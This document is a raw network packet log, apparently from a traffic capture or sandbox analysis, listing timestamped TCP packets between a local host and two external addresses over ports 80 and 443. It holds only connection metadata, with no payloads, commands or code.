Dec 30, 2024 19:44:57.085971117 CET	50042	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:57.090804100 CET	80	50042	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:57.090890884 CET	50042	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:57.091011047 CET	50042	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:57.091022015 CET	50042	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:57.095808029 CET	80	50042	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:57.095817089 CET	80	50042	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:58.529026031 CET	80	50042	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:58.529164076 CET	80	50042	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:58.529236078 CET	50042	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:58.529397964 CET	50042	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:58.534158945 CET	80	50042	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:58.545654058 CET	50043	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:58.550489902 CET	80	50043	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:58.550610065 CET	50043	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:58.550888062 CET	50043	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:58.551001072 CET	50043	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:44:58.555649996 CET	80	50043	58.151.148.90	192.168.2.4
Dec 30, 2024 19:44:58.555855989 CET	80	50043	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:00.018645048 CET	80	50043	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:00.019016027 CET	80	50043	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:00.019202948 CET	50043	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:00.022655010 CET	50043	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:00.027424097 CET	80	50043	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:00.260699987 CET	50044	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:00.265543938 CET	80	50044	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:00.265636921 CET	50044	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:00.265769005 CET	50044	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:00.265805006 CET	50044	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:00.270596981 CET	80	50044	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:00.270607948 CET	80	50044	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:01.707154036 CET	80	50044	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:01.707262039 CET	80	50044	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:01.707328081 CET	50044	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:01.707421064 CET	50044	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:01.712167025 CET	80	50044	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:01.728807926 CET	50045	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:01.733601093 CET	80	50045	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:01.733709097 CET	50045	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:01.733808041 CET	50045	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:01.733835936 CET	50045	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:01.738599062 CET	80	50045	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:01.738681078 CET	80	50045	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:03.192399979 CET	80	50045	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:03.192903042 CET	80	50045	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:03.192960024 CET	50045	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:03.296087027 CET	50045	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:03.300909996 CET	80	50045	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:03.346683025 CET	50046	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:03.352468014 CET	80	50046	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:03.352533102 CET	50046	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:03.352658987 CET	50046	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:03.352684021 CET	50046	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:03.358669043 CET	80	50046	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:03.359147072 CET	80	50046	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:04.796586990 CET	80	50046	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:04.796894073 CET	80	50046	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:04.796957970 CET	50046	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:04.797085047 CET	50046	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:04.801846981 CET	80	50046	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:04.811269045 CET	50047	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:04.816088915 CET	80	50047	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:04.816167116 CET	50047	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:04.816277027 CET	50047	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:04.816296101 CET	50047	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:04.821033955 CET	80	50047	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:04.821147919 CET	80	50047	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:06.282278061 CET	80	50047	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:06.282454014 CET	80	50047	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:06.282512903 CET	50047	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:06.282565117 CET	50047	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:06.287395000 CET	80	50047	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:06.303491116 CET	50048	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:06.308340073 CET	80	50048	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:06.308404922 CET	50048	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:06.308528900 CET	50048	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:06.308549881 CET	50048	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:06.313306093 CET	80	50048	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:06.313314915 CET	80	50048	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:07.746192932 CET	80	50048	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:07.746268988 CET	80	50048	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:07.746325970 CET	50048	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:07.746448040 CET	50048	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:07.751235008 CET	80	50048	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:07.764415026 CET	50049	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:07.769288063 CET	80	50049	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:07.769375086 CET	50049	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:07.769485950 CET	50049	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:07.769511938 CET	50049	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:07.774261951 CET	80	50049	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:07.774426937 CET	80	50049	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:09.281042099 CET	80	50049	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:09.281207085 CET	80	50049	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:09.281260967 CET	50049	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:09.281302929 CET	50049	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:45:09.286026955 CET	80	50049	58.151.148.90	192.168.2.4
Dec 30, 2024 19:45:09.342860937 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:09.342900038 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:09.342956066 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:09.343251944 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:09.343265057 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:10.243084908 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:10.243182898 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:10.244865894 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:10.244875908 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:10.245105982 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:10.275435925 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:10.323329926 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:10.821996927 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.027339935 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.027436018 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.044610977 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.044620037 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.044651031 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.044708014 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.044720888 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.044778109 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.046170950 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.046189070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.046252012 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.046262026 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.046303034 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.266624928 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.266635895 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.266665936 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.266711950 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.266731024 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.266743898 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.266776085 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.268270969 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.268289089 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.268338919 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.268347025 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.268381119 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.268393993 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.269258022 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.269273043 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.269339085 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.269345999 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.269388914 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.369951963 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.369970083 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.370096922 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.370112896 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.370157003 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.489247084 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.489273071 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.489351034 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.489370108 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.489419937 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.489835978 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.489851952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.489919901 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.489928007 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.489965916 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.491447926 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.491461039 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.491509914 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.491516113 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.491544008 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.491559982 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.492317915 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.492332935 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.492379904 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.492387056 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.492419004 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.493326902 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.493340969 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.493386984 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.493393898 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.493415117 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.493431091 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.494230986 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.494245052 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.494286060 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.494292974 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.494328022 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.494342089 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.575618982 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.575640917 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.575716972 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.575731039 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.575777054 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.710918903 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.710938931 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.710982084 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.710989952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.711025953 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.711047888 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.711474895 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.711492062 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.711533070 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.711540937 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.711564064 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.711574078 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.711977005 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.711992025 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.712032080 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.712038040 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.712064028 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.712071896 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.712415934 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.712430954 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.712471962 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.712479115 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.712496996 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.712518930 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.718144894 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.718159914 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.718213081 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.718220949 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.718244076 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.718261957 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.718298912 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.718317032 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.718353987 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.718359947 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.718388081 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.718396902 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.718416929 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.718431950 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.718473911 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.718481064 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.718496084 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.718518019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.719208002 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.719221115 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.719261885 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.719269037 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.719291925 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.719316959 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.742259026 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.797564983 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.797585964 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.797630072 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.797640085 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.797672033 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.797693968 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.797931910 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.797946930 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.797996044 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.798002958 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.798028946 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.798043013 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.798295021 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.798310041 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.798350096 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.798356056 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.798381090 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.798393965 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.798721075 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.798737049 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.798773050 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.798779011 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.798803091 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.798820019 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.799056053 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.799072027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.799114943 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.799120903 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.799132109 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.799160004 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.799335957 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.799352884 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.799395084 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.799402952 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.799415112 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.799434900 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.932727098 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.932744026 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.932830095 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.932830095 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.932845116 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.932893038 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.933077097 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.933092117 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.933129072 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.933135986 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.933149099 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.933181047 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.933523893 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.933538914 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.933584929 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.933592081 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.933619022 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.933640957 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.933796883 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.933815002 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.933854103 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.933861017 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.933886051 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.933902025 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.934127092 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.934144020 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.934195995 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.934201002 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.934225082 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.934245110 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.934508085 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.934535027 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.934587002 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.934592962 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.934614897 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.934631109 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.934967995 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.934983015 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.935022116 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.935026884 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.935045004 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.935065031 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.935221910 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.935235977 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.935271978 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.935278893 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:11.935305119 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:11.935326099 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.019551039 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.019568920 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.019625902 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.019635916 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.019681931 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.019892931 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.019908905 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.019949913 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.019957066 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.019996881 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.020191908 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.020207882 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.020248890 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.020256042 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.020267010 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.020291090 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.020472050 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.020487070 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.020519972 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.020528078 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.020558119 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.020581961 CET	50050	443	192.168.2.4	51.79.230.147
Dec 30, 2024 19:45:12.020785093 CET	443	50050	51.79.230.147	192.168.2.4
Dec 30, 2024 19:45:12.020798922 CET	443	50050	51.79.230.147	192.168.2.4
